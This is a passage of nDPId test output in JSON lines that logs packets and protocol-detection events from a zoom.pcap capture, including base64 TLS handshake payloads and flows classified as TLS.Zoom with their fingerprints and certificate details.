+00414{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":197342,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoYcxAAO8G9Fc0yj7EwKgBdQG71lFyHvWE14g0jlAQAAcuWwAAAAAAAAAA"} +02366{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":199286,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUYc1AAO8G7qo0yj7EwKgBdQG71lFyHvWE14g0jlAQAAcwHQAAFgMDAG8CAABrAwN\/6j22HXGSubrmqSO5eEZGtmRF\/gAED4p\/s85NhzNhjyD2n0A4x+hU1uYzPL\/x4lPrEELI8CgWvB2cjFsB6Gbu0MAvAAAjAAAAAP8BAAEAAAsABAMAAQIADwABATN0AAkIaHR0cC8xLjEWAwMUFAsAFBAAFA0ABqgwggakMIIFjKADAgECAgkAuAr5aaJJsgcwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTkwMzI1MTkzODQyWhcNMjEwMzI1MTkzODQyWjA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaxfGmkVOyU0AkAAY7kCiG99jBGIh+VdDOgabIxgZ7wT8ILDqU2MftFgTalkBtnlix1nB\/A23lZT3vWYLmdiArSXVZkjjpjHARBVVYAUir7OAher\/0qd4RZHsRK0bdRd40NdKuLb6he5TPeCPCo8mDuK41gZM9CkQPeJav\/RaowvfOtYiwp3Pt5JvpmmLCPkYu++RhH8LKfsuAhqv9m2xv6wau3C0G\/6Ce0z3s3aPbA6HK2Vctbrn12ZNiektUI25iSiJW21\/fYcY723x0hBp7tRPZNdMSHZ3e4QkzjXfUGyEK\/6tGaySEj+yvSYd5DUN0izEz+KBtCx95g0jp0b9MCAwEAAaOCAzMwggMvMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMTAxMS5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjAdBgNVHREEFjAUggkqLnpvb20udXOCB3pvb20udXMwHQYDVR0OBBYEFK\/\/A+eqHnVNBj7T3SSRE7i2ztfYMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWm2XMJ0AAAEAwBHMEUCIGBxi3tQD8E7\/i5SW3PuSOWOtMDrbmlOuAQU+VSegUXXAiEAt51T+DldjWi8Ekq43+cZhUTmCceC5bgqC3HWUayeaD4AdgDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAWm2XMTxAAAEAwBHMEUCICiEIvES2m58Hqrdk1z6D\/VDBAWPZ6\/7XLmd4JXWkmvGAiEArZspf5lv\/3TS1cYqMEKKiFMPCaUjl39XIpCCbPMANBQAdgBElGUusO7Or8RA"} +00771{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":103,"source":"zoom.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":6,"flow_first_seen":1569520469950,"flow_last_seen":1569520470199,"flow_tot_l4_data_len":2125,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.196","src_port":54865,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"3c30f2c064a3aed8cd95de8d68c726a6","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02362{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":199519,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUYc5AAO8G7qk0yj7EwKgBdQG71lFyHvsw14g0jlAQAAcmXwAAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWm2XMe5AAAEAwBHMEUCICZBrYK+GGtVSdHk3b8VHsrDm6ajQ58z1O7BdEqHCXy2AiEAn6AYWb8PmQ7IhYNbHgI4gCM37GT4YnU97JyydhHs6SgwDQYJKoZIhvcNAQELBQADggEBALm3XxvmAxG3IkUdHT+Kg3Gdme1zrqEBmMm7KerxSo04mAO+wqNE7BtmMlulaHZ9Z4syCloedM1x96JrQ3t0boruQAhnOlvnmvFBfuohu9oncLnbTmv+52y6PnzVcU36zE+9\/mBRQN8g25Xi29P9pwEzguCY+ecBRzTK6h0Sl4TFrkhzrUqGeILBakJ5CWRPYRg+OU6qgFVG7kNWeqzV1lmJl0epG3dO3baTSwN2+1BadUhLIZWqpLM\/GrxissNVMDfzR5peJgNvGg7VI37Xda5xV4mPfc+vCRUICOcuM\/U9dzPYTXUnypGEFSXOhiu1g4jB4DBHpmqaaQxhC2IlsOwABNQwggTQMIIDuKADAgECAgEHMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTEwNTAzMDcwMDAwWhcNMzEwNTAzMDcwMDAwWjCBtDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMuMS0wKwYDVQQLEyRodHRwOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8xMzAxBgNVBAMTKkdvIERhZGR5IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALngyxDUr3a91JNi6zBkuIEIbMME2WIXji\/\/PmXPj85i5jxSHNoWRUtVq3hrY4NikM4PaWyZyBoUi0zMRTPqiNyeo68r\/oBhnXlXxM8u9D8wPF1H\/JoWvMM3lkFRjhFLVPgovtCMvvAwOB7zsCb4Zkdjbd5xJkePOEdT0UYdtOPcAOpFrL28cdmqbwDb280wOnlPX0xH+B3vW8LEnWA7sbJDkdikM07qs9YnT60liqXG9NXQpq50BWRXiLVEVdQtKjo++Li96TIKApRkxBY6UPFKrud5M68MIAd\/6N8EOcJpAmxjUvp3wRvIdIfIuZMYUFQ1S2lOvDvTSS4f3MHSUvsCAwEAAaOCARowggEWMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdDgQWBBRAwr0njsw0gzCiM9f7bLPwtCyAzjAfBgNVHSMEGDAWgBQ6moUHEGcotu\/2vQVBbiDBlNoP3jA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkcm9vdC1nMi5jcmwwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHBzOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBAAh+bJMQyDi4lqmQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8M"} +00406{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":199565,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBSXAqAF1NMo+xNZRAbvXiDSOch8A3FAQH9IDOAAA"} +02372{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":199642,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUYc9AAO8G7qg0yj7EwKgBdQG71lFyHwDc14g0jlAQAAeUpQAAYaq\/5Cob7oSeuIN9wUPORKcTcA2RH\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7cCo\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXnoQPvVdws1rpH6CGU7vvfP9pC+BIw7eTC8gKVMSsXRRnN2zKpS8xCDeqbm+MvJviV10kga+Xl5yErWysN0xm82GRESDkvjCfeqQpCbDhNF9kdxhAUd+MMKavAAQEMIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24g"} +02106{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":199762,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"KDc3AG3IEBMx8Tl2CABFAAUMYdBAAO8G7280yj7EwKgBdQG71lFyHwaI14g0jlAYAAfvGgAAQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQADggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d\/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv2vLM0D9\/AlQiVBDYsoHUwHU9S3\/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32qRe3H3I2TqYXP2WYktsqbl2i\/ojgC95\/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6jYGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta\/KFApMoZFv6yyO9ecw3ud72a9nmYvLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4\/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0OBBYEFNLEsNKR1EwRcbNhyz2h\/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h\/t2oatTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wimPQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1\/blMVgDoszOYtuURXO1v0XJJLXVggKtI3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQHmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0\/ZM\/iZx4mERdEr\/VxqHD3VILs9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX\/bvZ8WAwMBTQwAAUkDABdBBIC\/jS3y0GVc9uyFnKJnh98xMRry3Y2jZt9K5DfzCJdocip5Hae58h0cXO394L09DPtE4Ad1j\/f0AWP2PDuhGowGAQEAnfUbw86Vci5ZUFmNcPwJUQEknSDSTjiOvGgcY0r9+uwG1Sqt0joQ6pLU83RyIkfJxr5ufDnpfN6YVUsvvWSB+uQ0BxDOWUIsdJypsVrUbDfJjXrM\/MqspC5YtcHHGKEj4YRaTb9t4ljTQQB2XftQrg4HjcU4Tq0xDoj09dIFIGtrzhmWL\/3qqGwYfndiZfAQ\/BtLSYZUuRXp\/46v3qODtca+9kzoMykZC0e14nBHj6s6DZ4lOWieyiztPCcNQzzzMljzEguTHM5LQ5ScFQS1HLTtrBwQpu9POqUIy\/QNhACPmG30WSB4MEgieOHhBfgOJgKBKbR19eKH359ZAF0NmhYDAwAEDgAAAA=="} +01095{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":107,"source":"zoom.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":10,"flow_first_seen":1569520469950,"flow_last_seen":1569520470199,"flow_tot_l4_data_len":6361,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":636,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.196","src_port":54865,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoom.us","server_names":"*.zoom.us,zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"3c30f2c064a3aed8cd95de8d68c726a6","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=*.zoom.us","alpn":"http\/1.1","fingerprint":"F7:5A:83:A8:77:24:55:D7:6D:2E:93:F6:6E:9C:C9:7E:AD:9B:3B:E8"}} +00407{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":199797,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBSXAqAF1NMo+xNZRAbvXiDSOch8LbFAQH374+wAA"} +00408{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":211190,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBSXAqAF1NMo+xNZRAbvXiDSOch8LbFAQH\/X4hAAA"} +00671{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":214276,"pkt_caplen":245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":245,"pkt_l4_len":211,"pkt":"EBMx8Tl2KDc3AG3ICABFAADnAABAAEAGBGbAqAF1NMo+xNZRAbvXiDSOch8LbFAYIAD6EgAAFgMDAEYQAABCQQTpOMM5QkmEulPNC3K8ihRwyrHJnCxGvg8O6cGBMp39q8DZiwpAsdhYVkoldB7bInht9zwfTEwgmxaZn8tEVX2wFAMDAAEBFgMDADxcJLSf\/u3t29d2a2bLMf7jxifHjIqnP9WRuyvcx\/ynMn5Cym98\/PyLb1\/SyN7U9gqFVGSZ34SJxyUQnXgWAwMAKFwktJ\/+7e3ceyqKWFLYrHs3WY6UIKd8BEMHaZVggMy2Z545fEF9ZbQ="} +00414{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":278606,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAo8dBAAO4GZSs0yj7swKgBdQG71lK89vcw+u4Yc1AQAAfaYgAAAAAAAAAA"} +02363{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":280367,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU8dFAAO4GX340yj7swKgBdQG71lK89vcw+u4Yc1AQAAd4bwAAFgMDAG8CAABrAwOtpOzBIUeFaPHXV4SvNADGfgZereGFcqDl3g5OvtAqryBQnMy+gOZ1DvMaUjT2bZUgHz9z3djPe\/9si5V+fPe26sAvAAAjAAAAAP8BAAEAAAsABAMAAQIADwABATN0AAkIaHR0cC8xLjEWAwMUFAsAFBAAFA0ABqgwggakMIIFjKADAgECAgkAuAr5aaJJsgcwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTkwMzI1MTkzODQyWhcNMjEwMzI1MTkzODQyWjA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaxfGmkVOyU0AkAAY7kCiG99jBGIh+VdDOgabIxgZ7wT8ILDqU2MftFgTalkBtnlix1nB\/A23lZT3vWYLmdiArSXVZkjjpjHARBVVYAUir7OAher\/0qd4RZHsRK0bdRd40NdKuLb6he5TPeCPCo8mDuK41gZM9CkQPeJav\/RaowvfOtYiwp3Pt5JvpmmLCPkYu++RhH8LKfsuAhqv9m2xv6wau3C0G\/6Ce0z3s3aPbA6HK2Vctbrn12ZNiektUI25iSiJW21\/fYcY723x0hBp7tRPZNdMSHZ3e4QkzjXfUGyEK\/6tGaySEj+yvSYd5DUN0izEz+KBtCx95g0jp0b9MCAwEAAaOCAzMwggMvMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMTAxMS5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjAdBgNVHREEFjAUggkqLnpvb20udXOCB3pvb20udXMwHQYDVR0OBBYEFK\/\/A+eqHnVNBj7T3SSRE7i2ztfYMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWm2XMJ0AAAEAwBHMEUCIGBxi3tQD8E7\/i5SW3PuSOWOtMDrbmlOuAQU+VSegUXXAiEAt51T+DldjWi8Ekq43+cZhUTmCceC5bgqC3HWUayeaD4AdgDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAWm2XMTxAAAEAwBHMEUCICiEIvES2m58Hqrdk1z6D\/VDBAWPZ6\/7XLmd4JXWkmvGAiEArZspf5lv\/3TS1cYqMEKKiFMPCaUjl39XIpCCbPMANBQAdgBElGUusO7Or8RA"} +00776{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":112,"source":"zoom.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1569520470022,"flow_last_seen":1569520470280,"flow_tot_l4_data_len":2125,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.236","src_port":54866,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www3.zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"3c30f2c064a3aed8cd95de8d68c726a6","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02362{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":280593,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU8dJAAO4GX300yj7swKgBdQG71lK89vzc+u4Yc1AQAAfSZgAAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWm2XMe5AAAEAwBHMEUCICZBrYK+GGtVSdHk3b8VHsrDm6ajQ58z1O7BdEqHCXy2AiEAn6AYWb8PmQ7IhYNbHgI4gCM37GT4YnU97JyydhHs6SgwDQYJKoZIhvcNAQELBQADggEBALm3XxvmAxG3IkUdHT+Kg3Gdme1zrqEBmMm7KerxSo04mAO+wqNE7BtmMlulaHZ9Z4syCloedM1x96JrQ3t0boruQAhnOlvnmvFBfuohu9oncLnbTmv+52y6PnzVcU36zE+9\/mBRQN8g25Xi29P9pwEzguCY+ecBRzTK6h0Sl4TFrkhzrUqGeILBakJ5CWRPYRg+OU6qgFVG7kNWeqzV1lmJl0epG3dO3baTSwN2+1BadUhLIZWqpLM\/GrxissNVMDfzR5peJgNvGg7VI37Xda5xV4mPfc+vCRUICOcuM\/U9dzPYTXUnypGEFSXOhiu1g4jB4DBHpmqaaQxhC2IlsOwABNQwggTQMIIDuKADAgECAgEHMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTEwNTAzMDcwMDAwWhcNMzEwNTAzMDcwMDAwWjCBtDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMuMS0wKwYDVQQLEyRodHRwOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8xMzAxBgNVBAM